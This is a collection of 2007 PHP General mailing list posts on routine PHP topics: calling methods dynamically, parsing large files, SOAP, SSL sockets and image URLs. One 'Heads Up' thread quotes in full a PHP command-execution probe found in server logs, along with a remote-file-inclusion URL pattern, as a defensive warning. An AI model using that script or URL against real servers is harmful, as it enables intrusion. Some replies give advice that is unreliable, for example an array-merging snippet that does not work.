Re: [PHP] Re: Function variables in classes

2007-11-01 Thread Paul van Haren
OK guys, thanks for all your inputs. 

Based on your guidance, I have tested the following code with a
series of variations: 

class foobar {
function bar2 () {
echo Yep, in bar2() right now\n;
}

public function foo2 () {
$a = bar2;// Experiment 0
$a();   // Fatal error
}
}

And the variations:
  $a = bar2;// Experiment 0
  $a();   // Fatal error: Call to undefined function bar2()

  $a = foobar::bar2;// Experiment 1
  $a();   // Fatal error: Call to undefined function bar2()

  $a = bar2;// Experiment 2
  eval($a.();); // Fatal error: Call to undefined function bar2()

  $a = foobar::bar2;// Experiment 3
  eval($a.();); // Works but far from elegant

  $a = bar2;// Experiment 4
  $this-$a();// Works fine

  $a = bar2;// Experiment 5
  self::$a(); // Works fine

So, I have a working solution right now. But I still don't understand the
essence of the differences between experiment #1 and #4. Also, I don't
understand the need to specify the class name in experiment #3, coming
from #2. Functions bar2() and foo2() are part of the same class foobar,
and I would assume that the name 'bar2' would be in scope of the function
foo2.

BTW: I'm running PHP v5.2.0-8 build and distributed by Debian (etch1).

Thanks again and regards, Paul.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Maximum function nesting level of '100' reached

2007-10-26 Thread Paul Scott

On Fri, 2007-10-26 at 12:52 +0200, Jochem Maas wrote:

 since when is there an arbitrary maximum recursion limit???

Since forever... ;)

I thought that it was at 60 though...

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Ant in php

2007-10-25 Thread Paul Scott

On Thu, 2007-10-25 at 02:25 -0700, DCVer wrote:
 is this a good idea to use Ant with PHP or is there some similar tool to
 Ant, that works fine with PHP? Thanks in advance.

What you really want to look at is Phing, not Ant. It is very similar
and I use it extensively for my project(s).

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] combining 2 arrays

2007-10-16 Thread Paul Scott

On Tue, 2007-10-16 at 16:42 +0200, Ladislav Andel wrote:
 arrayDB1 = array(array('8', 'SER'),  array('5','Asterisk'))
 
 When finished then it starts reading from second DB
 where I would get
 
 arrayDB2 = array(array('6', 'XIP'),  array('4','Asterisk'))
 
 
 Is there any function where I would get
 result = array(array('8', 'SER'),  array('9','Asterisk'), array('6','XIP'))
 

You could try something like:

$result[] = $arrayDB1;
$result[] .= $arrayDB2;

If I understand the question correctly.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Please recommend blog script

2007-10-07 Thread Paul Scott

On Sun, 2007-10-07 at 09:35 +0200, Niels wrote:
 Basically I want to integrate articles into existing pages, something like 
 ?php blog::getArticlesHTML($rule); ?
 ?php blog::getUserCommentEditHTML($article); ?
 

What you want is a blog that exposes it's functionality as an API
(MetaWebLog or ATOM). Most do that, including the Chisimba one (see
http://fsiu.uwc.ac.za as an example. Download at http://avoir.uwc.ac.za)

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] evil script in server logs (Heads Up)

2007-10-05 Thread Paul Scott

I am taking a quick look through the access logs on our dev box, and
came across this little nasty that was trying to execute itself as a XSS
attack(?)

?
$ker = @php_uname();
$osx = @PHP_OS;
echo f7f32504cabcb48c21030c024c6e5c1abr;
echo h2SysOSx:$ker/h2/br;
echo h2SysOSx:$osx/h2/br;
if ($osx == WINNT) { $xeQt=ipconfig -a; }
else { $xeQt=id; }
$hitemup=ex($xeQt);
echo $hitemup;
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join(\n,$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,r)))
{
$res = ;
while([EMAIL PROTECTED]($f)) { $res .= @fread($f,1024); 
}
@pclose($f);
}
}
return $res;
}
?

So far, it is coming from http://www.vesprokat.ru/n and 
http://www.goodasgold.com

Be aware and check that your files are not vulnerable, although they are only 
going to get your 
users and groups info, as well as OS, you should all look out for this.

--Paul


All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] error messages

2007-10-05 Thread Paul Scott

On Fri, 2007-10-05 at 00:32 -0700, tbt wrote:
 I added the following lines to the top of my script but still no error
 messages show up on the browser. 
 When a php error occurs the entire page is still shown blank.
 

Is your script *supposed* to output something?

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] evil script in server logs (Heads Up)

2007-10-05 Thread Paul Scott

On Fri, 2007-10-05 at 07:38 -0600, Ashley M. Kirchner wrote:
 Quarantine Messages:
 Message quarantined because of virus: PHP.Shell.
 
 Someone saw it somewhere and reported it...

Don't you love Free Software? ;)

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] evil script in server logs (Heads Up)

2007-10-05 Thread Paul Scott

On Fri, 2007-10-05 at 11:29 -0400, Daniel Brown wrote:
 Yeah, honestly I wasn't sure if it was an injection attack or if
 those URLs were referrers in the logs.

OK sorry if I wasn't 100% clear here, but the logs showed up something
like:

http://fsiu.uwc.ac.za/index.php?module=http://www.goodasgold.com/nav 

So basically it was an XSS attempt, but because our MVC security is
decent, it is just more of an annoyance than anything else (it screws up
my stats man!)

What I was trying to say is that *if* you didn't know about this one
before, now you do. They are hitting all of our sites at a rate of
knots, so are probably doing the same elsewhere.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] error messages

2007-10-04 Thread Paul Scott

On Thu, 2007-10-04 at 22:38 -0700, tbt wrote:
 I'm a newbie to php and i would like to know a way of viewing runtime errors
 on the browser. Currently when an error occurs nothing is displayed on the
 browser. Is there any way of viewing all error messages on the browser
 itself.
 

You can up the error_reporting level in your php.ini, or you can simply
put the following line at the top of your script:

ini_set(error_reporting, E_ALL);

or for an even stricter setting:

ini_set(error_reporting, E_STRICT);

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] languages and PHP

2007-09-27 Thread Paul Scott

On Thu, 2007-09-27 at 12:15 +0200, Angelo Zanetti wrote:
 What are the implications of having a site that has many different 
 languages, including latin and non latin characters?

Keep everything as universal (UTF-8) as possible, and make sure that you
code for right-to-left languages as well.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] SOAP in PHP on very restricted host?

2007-09-26 Thread Paul Scott

On Wed, 2007-09-26 at 13:26 +0900, David Christopher Zentgraf wrote:
 But I just found out about NuSOAP (http://dietrich.ganx4.com/ 
 nusoap/), which seems to be what I'm looking for, a no-strings- 
 attached SOAP implementation. I'm trying my luck with this one for  
 now. :)

If you are using nuSoap on PHP5, be sure to change the class names etc,
otherwise you will get conflicts in our namespaceless world.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: Data request

2007-09-25 Thread Paul Scott

On Tue, 2007-09-25 at 09:17 -0400, Robert Cummings wrote:
 Oh sure, and now when I'm searching for shit I'll get all these
 Henry's cat references *bleh*.
 
Well then why not tie in coprophilia as well?

ugh.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Data request

2007-09-24 Thread Paul Scott

On Mon, 2007-09-24 at 14:14 +0100, Stut wrote:
 Have you tried Google? It knows a lot about most things and a little 
 about the rest.

Also try have a look at the models used in flightgear -
http://www.flightgear.org 

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Very Large text file parsing

2007-09-21 Thread Paul Scott

On Fri, 2007-09-21 at 15:51 +1000, Chris wrote:
 (Personally I'd use perl over php for processing files that large but 
 that may not be an option).

Thanks for all of the suggestions, I seem to have it working quite well
now, although the client has just contacted me and said that they had
made a mistake. The 700+MB file is only an initial file, and all
subsequent files will only be about 1.9MB long in future, which is much
easier to handle without a problem.

Thanks to all for the suggestions - I now have to figure out the best
way to manipulate every single record in that table (now over 6.5
million rows) to add in a field (RDBMS function in C - so much
easier)...

Thank you all, I really appreciate the help!

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Very Large text file parsing

2007-09-21 Thread Paul Scott

On Fri, 2007-09-21 at 08:34 +0200, Paul Scott wrote:
 Thanks to all for the suggestions - I now have to figure out the best
 way to manipulate every single record in that table (now over 6.5
 million rows) to add in a field (RDBMS function in C - so much
 easier)...
 

Oh, and by the way, adding a hash key to a memcache server on 6.5
million records is quite a heavy exercise - that played a role. I am
also trying to optimize that little bit too, as it will also help in
lookups in future (just a heads up to anyone else attempting such folly
in future).

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Very Large text file parsing

2007-09-21 Thread Paul Scott

On Fri, 2007-09-21 at 08:42 +0200, Per Jessen wrote:

 Isn't that just an ALTER ?  

Its a little more complex than that, as I have to actually create WKB
from the data, so no, not just an ALTER unfortunately.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott

I have a very large text file that gets dumped into a directoory every
now and then. It is typically around 750MB long, at least, and my
question is:

What is the best method to parse this thing and insert the data into a
postgres db?

I have tried using file(), fget*() and some others, all with limited
success. It goes through OK (I am sending it to a background process on
the server and using a callback function to email me when done) but it
is really knocking the machine hard, besides taking a real long time to
finish.

Is there a better way of approaching this? Any help would be greatly
appreciated.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott

On Thu, 2007-09-20 at 12:50 +0100, Edward Kay wrote:
 In addition to Martin's good suggestions (and also assuming you're running
 php-cli via cron), you could use nice to stop it consuming too many
 resources:
 

This is the current approach that I am taking, was just really wondering
if there was some kind of voodoo that would speed things up a bit. 

Thanks both for your responses, appreciate it!

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott

On Thu, 2007-09-20 at 08:03 -0400, Robert Cummings wrote:
 Post some samples of the data you are parsing and a sample of the code
 you've written to parse them. If you're parsing 750 megs of data then
 it's quite likely you could squeeze some performance out of the parse
 routines themselves.

Today's dataset is in a CSV (tab separated) , so I am using fgetcsv, it
looks like this (geo data):

936374  Roodepoort  Roodepoort  Roodeport-Maraisburg-26.167 
27.867
P   PPL ZA  ZA  06  0   
1759Africa/Johannesburg 2004-05-11

Code:
[SNIP]
$row = 1;
$handle = fopen($csvfile, r);
while (($data = fgetcsv($handle, 1000, \t)) !== FALSE) {
 $num = count($data);
 $row++;
 $insarr = array('userid' = $userid, 
'geonameid' = $data[0], 
'name' = $data[1], 
'asciiname' = $data[2], 
'alternatenames' = $data[3], 
'latitude' = $data[4], 
'longitude' = $data[5], 
'featureclass' = $data[6], 
'featurecode' = $data[7], 
'countrycode' = $data[8], 
'cc2' = $data[9], 
'admin1code' = $data[10], 
'admin2code' = $data[11], 
'population' = $data[12], 
'elevation' = $data[13], 
'gtopo30' = $data[14], 
'timezoneid' = $data[15], 
'moddate' = $data[16]
);
 $this-objDbGeo-insertRecord($insarr);
//$arr[] = $data;
}
fclose($handle);

--Paul


All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott

On Thu, 2007-09-20 at 09:54 -0300, Martin Marques wrote:
 If not, you should just use the COPY command of PostgreSQL (you are 
 using PostgreSQL if I remember correctly) or simply do a bash script 
 using psql and the \copy command.
 

Unfortunately, this has to work on all supported RDBM's - so using
postgres or mysql specific functions are not really an option. What I am
trying though, is to add a function to do batch inserts as per Rob's
suggestion into our database abstraction layer, which may help things a
bit.

Thanks

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Command line socket server and SSL

2007-09-05 Thread Paul
Below you have described a client. I'm talking about a 
server. That was clear in my original post.

-Paul W

Greg Donald wrote:

On Tue, 4 Sep 2007, Paul wrote:

Which part do you need help with? The SSL part or the command line or the
port or ... ?

http://www.php.net/openssl
http://www.php.net/sockets


I am familiar with the above links. What I cannot locate is anything that
indicates that a cmd line socket program in PHP can do SSL. Can you locate
such? Is it in the openssl document somewhere and I missed it?


Whether the script is command line or not has nothing to do with it's ability 
to connect to a host on a specific port.  You just connect to the port the 
secure socket is located on, usually 443.

#!/usr/bin/env php
?php
$s = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );
socket_set_nonblock( $s );
socket_connect( $s, example.com, 443 );
socket_set_block( $s );
switch( socket_select( $r = array( $s ), $w = array( $s ), $f = array( $s ), 5 
) )
{
case 2:
echo [-] Connection Refused\n;
break;
case 1:
echo [+] Connected\n;
break;
case 0:
echo [-] Timeout\n;
break;
}




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Command line socket server and SSL

2007-09-05 Thread Paul

Greg Donald wrote:

On Wed, 5 Sep 2007, Paul wrote:

Below you have described a client. I'm talking about a server. That was clear
in my original post.


Why on earth would you need to implement an SSL socket in PHP when we
have Apache and openssl?  That's pointless.  Anywhere PHP can run Apache
can run.. and with much better performance.


Because the client is incapable of HTTPS or HTTP protocols.

Not that I really should need to answer this. Why on earth 
would you assume I don't have a good reason? In what way is 
this answer to my question even a little helpful?


Do you have anything to offer in answer to my question to 
the list that actually might help?


Paul W

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Command line socket server and SSL

2007-09-05 Thread Paul

Greg Donald wrote:

On Wed, 5 Sep 2007, Paul wrote:

Because the client is incapable of HTTPS or HTTP protocols.

Not that I really should need to answer this. Why on earth would you assume I
don't have a good reason? In what way is this answer to my question even a
little helpful?


It's not every day someone wants to use php with openssl but omit the web 
server component.


Do you have anything to offer in answer to my question to the list that
actually might help?


Have you tried using the openssl s_server directly?


Worth a look. Thanks.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Using PHP to determine if user has Java installed

2007-09-05 Thread Paul Scott

On Wed, 2007-09-05 at 20:41 -0400, tedd wrote:
 Java Runtime Environment == Java
 JavaScript != Java
 

How about something like:

if ( navigator.javaEnabled() ) {
alert('JRE is installed!');
window.location=page_with_a_JAVA_applet;
}
else {
alert('JRE is not installed!');
window.location=error_page;
}


All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Command line socket server and SSL

2007-09-04 Thread Paul
I need to program a socket server in PHP that can use a 
certificate and communicate over SSL. I'm doing fine without 
SSL. Can't use port 443 or the web server for this, so it 
needs to be a command line app. Can't seem to find any 
documentation about how to set that up. Can anyone help or 
point me in the right direction?


TIA,
Paul W

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Command line socket server and SSL

2007-09-04 Thread Paul

Chris wrote:

Paul wrote:
I need to program a socket server in PHP that can use a certificate 
and communicate over SSL. I'm doing fine without SSL. Can't use port 
443 or the web server for this, so it needs to be a command line app. 
Can't seem to find any documentation about how to set that up. Can 
anyone help or point me in the right direction?


Which part do you need help with? The SSL part or the command line or 
the port or ... ?


http://www.php.net/openssl
http://www.php.net/sockets

I am familiar with the above links. What I cannot locate is 
anything that indicates that a cmd line socket program in 
PHP can do SSL. Can you locate such? Is it in the openssl 
document somewhere and I missed it?


Paul W

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Chisimba Framework Release

2007-08-31 Thread Paul Scott

The next release of the Chisimba PHP5 framework is now available.

Major enhancements included in this release are:

 - Memcache support
 - Better caching of language items
 - Improved database performance
 - Bug fixes
 - Better code documentation
 - API docs
 - First draft of the Chisimba Book for Developers
 - XML-RPC API for the Blog module
 - Context improvements
 - Code cleanup
 
and, of course, new modules to add onto your installation!

Please take a look, download it and give it a test drive! 
 
Chisimba, for those that don't know it already, is a PHP5 framework made
in Africa, for Africa. It is a collaboration between around 16 African
Universities, as well as around 35 active developers from around the
continent.
 
It can be downloaded from AVOIR at:
 

http://cvs2.uwc.ac.za/chisimba_releases/chisimba_framework_1-0-4.tgz
http://cvs2.uwc.ac.za/chisimba_releases/chisimba_modules_1-0-4.tgz

(or .zip if you prefer that format)

and the doc wiki can be found at:
 
http://avoir.uwc.ac.za/avoir/index.php?module=wiki

There are server setup instructions, as well as installation
walkthroughs available linking from the main AVOIR site:
 
http://avoir.uwc.ac.za/avoir/index.php?module=cmsaction=pageid=gen12Srv48Nme23_207
 
For those interested in developing a module, or just getting some
additional info please take a look at:
 
http://avoir.uwc.ac.za/avoir/index.php?module=cmsaction=pageid=gen12Srv48Nme23_208

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP and SOAP calls

2007-08-24 Thread Paul Scott

On Fri, 2007-08-24 at 07:55 +0200, Angelo Zanetti wrote:
 I have been using nusoap to development a client that makes SOAP calls 
 to a server. I have however been stuck on a  small issue but can't seem 
 to solve it and therefore I need to relook at using another package to 
 get a solution.
 

Instead of starting again, what is your small issue? Can that not be
solved rather?

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Web Service with PHP4 suggestions wanted.

2007-08-16 Thread Paul Scott

On Thu, 2007-08-16 at 09:55 +0200, Mattias Hakansson wrote:
 So I request some suggestions from any one that has experience with this 
 on what web service library/extension you would chose with PHP 4 ?
 I read about nuSOAP but it seems they are not any longer maintaining the 
 source ? since the last update was  2 years ago.
 

I have used nuSoap in our PHP4 framework extensively and it works
extremely well for SOAP services. The other option is to use the PECL
extension (although I cannot comment on it in PHP4).

I made some slight hacks to nuSoap that made it a little more useful
within the context of our framework (MVC) but you probably won't need
them.

AFAIK there are some decent blog posts around how to use it well, but
for the life of me can't remember where (scottnichol.com or something??)

If you need help with it, let me know, and I will send you some code
samples that we used to develop with (client and server) off list.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP Books - A poll of sorts

2007-08-12 Thread Paul Scott

On Sun, 2007-08-12 at 20:52 -0500, Jay Blanchard wrote:
 If there was a best practices book would you buy it? (I am showing
 complete disregard for the thread on copyright infringement v. theft.)
 Or do you rely on other sources like this list, articles, etc to derive
 your own set of practices? Thanks for indulging me.

The team that delivers the Chisimba framework (http://avoir.uwc.ac.za),
has also developed our own best practices, as well as documentation
standards and coding standards. These standards are pretty much in line
with most of the large projects out there (I have never needed to look
at Drupal, so I cannot comment there), but I am willing to bet that
there isn't much of a difference.

We publish our coding and doc standards, as well as a bunch of HOWTO's
etc to get started, under a CC BY-SA license, so that if people would
like to adopt that, or build on it, they are free to do so.

I would not mind seeing at least *some* homogeneity in PHP code, across
projects, but I still don't think that *all* projects need stick to the
same standards - this will ultimately stifle creativity, which is what
PHP is all about anyway.

Just my R0.02

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Friday morning brain farts....

2007-08-10 Thread Paul Novitski

At 8/10/2007 07:43 AM, Jason Pruim wrote:

I want to be able to sort that info so my sql query looks like:
Select * from current order by '$order'; and $order is populated by
a GET when they click on a link: A href=index.php?order='Last'Sort
by last name/A  Now... the whole PHP page is being included in
a .shtml page to actually display it and make it look purrdee :)

...

$order = $_GET['order']; --Line 6



Your HTML should read:

a href=index.php?order=LastSort by last name/a

Note double-quotes around the href expression and no quotes around 
the querystring parameter value.


Also, you'll want to check the incoming values to prevent SQL 
injection (q.v.).  If you insert unevaluated input into an SQL query 
you're leaving yourself vulnerable to everything from data exposure 
to data manipulation from outside sources.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php SHOW

2007-08-03 Thread Paul Scott

On Fri, 2007-08-03 at 11:56 +0100, Hulf wrote:
 Is there a way to output my data and tables using a php version of SHOW? 
 Doesn't have to be pretty HTML just output to screen

Well, not knowing what show does, my best guess would be that you are
looking for __toString()

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Blooging Portal

2007-07-31 Thread Paul Scott

On Tue, 2007-07-31 at 10:27 +0200, Christian Hänsel wrote:
 Does any of you know a decent Blooging Portal software? Of course, it should 
 be OpenSource ;o) What I wanna do is: I want to give people the ability to 
 create their own blogs on my server under one domain name... so 
 myblogonchrisserver.com/stephen would go to stephen's blog (just so you see 
 what I mean).
 

Well, to bring this back to a PHP question, you could try the Chisimba
blogging software. See it in action at http://fsiu.uwc.ac.za (where this
list is blogged using it) and download it at http://avoir.uwc.ac.za or
contact me off list to ask any questions.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Bizarre array create error

2007-07-30 Thread Paul Novitski

At 7/29/2007 09:59 PM, Ken Tozier wrote:

/*--*/
/* Next two lines are where the problem starts  */
/* If I comment either of them out the script runs  */
/* but with both uncommented, it dies
/*--*/
// create the rect and usable rect records
$result-rect   = array(0, 0, 
$result-page_width, $result- page_height);


Does this typo exist in your script?  $result- page_height with a 
space between - and ?


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Comment modes behavior in HTML and PHP

2007-07-28 Thread Paul Novitski

At 7/28/2007 07:40 AM, C.R.Vegelin wrote:

I have a PHP script, as follows:
!--
   ?php
   echo should this be echoed ?;
   ?
--

As expected, the browser shows nothing,
but when I view Source in the browser, I see:
!-- start HTML comment
 should this be echoed ?--

Shouldn't it be just: !--  --, without the echo result ?
I don't expect PHP to be active between !-- --.



!-- ... -- is an HTML comment.

/* ... */ and //... are PHP comments.

The HTML comment syntax does not affect PHP, and PHP comment syntax 
does not affect HTML.


http://www.php.net/manual/en/language.basic-syntax.comments.php

Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Hide the real URL

2007-07-26 Thread Paul Novitski

At 7/26/2007 08:08 AM, M. Sokolewicz wrote:
// output to browser, suppressing 
error message

why are you suppressing error messages??

@readfile($Filename);



http://php.net/readfile

Reads a file and writes it to the output buffer.

Returns the number of bytes read from the file. If an error occurs, 
FALSE is returned and unless the function was called as @readfile(), 
an error message is printed.


I figured that in the case of an image it would make more sense to 
download a FALSE value to the browser than a text error 
message.  During development  debugging phases error messages are 
invaluable, but after publication some circumstances dictate no 
display rather than display of a message.  Since the OP was looking 
for a solution that obfuscated the image URL, I thought the less 
techy information communicated to the user the better.


Richard Heyes' suggestion of using passthru() might work better if it 
can be used with a mixture of content types on the same page.


And, yes, heredoc is definitely a matter of taste.  In my own work, 
its disadvantage (hugging left margin) is outweighed by its 
advantages (separation of logic from data/template/output, omission 
of escape codes except the occasional {}, fewer typographical errors, 
faster proofreading, etc.).  I don't feel the need to convince anyone 
else to use heredoc, but I'm totally sold on it myself.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Hide the real URL

2007-07-26 Thread Paul Novitski

At 7/26/2007 06:18 AM, elk dolk wrote:

I want to hide the real URL to my images



It should be pointed out that you can't really hide the real URL of 
your images.  If an image appears in a browser, the browser will 
accurately report its location to the user, and the user can save it 
to their hard drive.


If you're in a situation in which you're trying to avoid people 
downloading images without permission, your best bets might be to 
watermark, crop, low-res-ify, or otherwise disfigure the displayed 
images to make them less attractive than the originals.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Hide the real URL

2007-07-26 Thread Paul Novitski

At 7/26/2007 06:18 AM, elk dolk wrote:

I want to hide the real URL to my images by masking it with PHP
the code looks like this:

$query = SELECT * FROM table;
$result=mysql_query($query);

while ($row = mysql_fetch_array($result))
{
echo img src='http://www.mysite.com/img/{$FileName}'/;
}

if you look at the source in browser you will see:

img src='http://www.mysite.com/img/111.jpg' /

how can I show it like this:

img src='show.php?FileName=111.jpg' /



Your primary script would echo:

while ($row = mysql_fetch_array($result))
{
// get the file name from the data table
$FileName = $row['filename'];

// encode the filename to be legal in an URL
$FileName = urlencode($FileName);

// download to browser
echo _
img src=show.php?FileName=$FileName /
_;
}

and the secondary script show.php could use logic such as this:

// if the querystring contains the expected parameter
if (isset($_GET['Filename']))
{
// get requested filename
$Filename = 'img/' . $_GET['Filename'];

// if that file exists
if (file_exists($Filename))
{
// output to browser, suppressing 
error message

@readfile($Filename);
}
}

Notes:

Your sample script included:
echo img src='http://www.mysite.com/img/{$FileName}'/;

Marking up your images as img ... / indicates that you want to use 
XHTML.  XHTML requires that attributes be quoted with double quotes, 
not single quotes (apostrophes).  Use http://validator.w3.org/ to 
validate your markup.


However, simply reversing the quotes in your statement would result in:
echo 'img src=http://www.mysite.com/img/{$FileName}/';
This would not work because PHP would fail to expand the variable 
name inside single quotes.  Therefore you'd need to escape the inner 
quotes like so:

echo img src=\http://www.mysite.com/img/{$FileName}\/;
or use heredoc (...) which I prefer to use because it means not 
having to escape the quotes.  In a case like this it also means not 
having to enclose the variable in curly braces:


echo _
